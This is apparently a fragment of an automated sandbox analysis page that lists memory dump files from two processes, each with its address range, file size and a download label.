Download
memory/2776-19-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/2776-22-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/2776-21-0x0000000001F10000-0x0000000001F18000-memory.dmp

Filesize
32KB

Download
memory/2776-24-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/2776-23-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

Filesize
9.6MB

Download
memory/2776-26-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/2776-27-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

Filesize
9.6MB

Download
memory/3048-46-0x000000013FD90000-0x000000013FFA1000-memory.dmp

Filesize
2.1MB

Download
memory/3048-67-0x000000013FD90000-0x000000013FFA1000-memory.dmp

Filesize
2.1MB

Download
memory/3048-60-0x000000013FD90000-0x000000013FFA1000-memory.dmp

Filesize
2.1MB

Download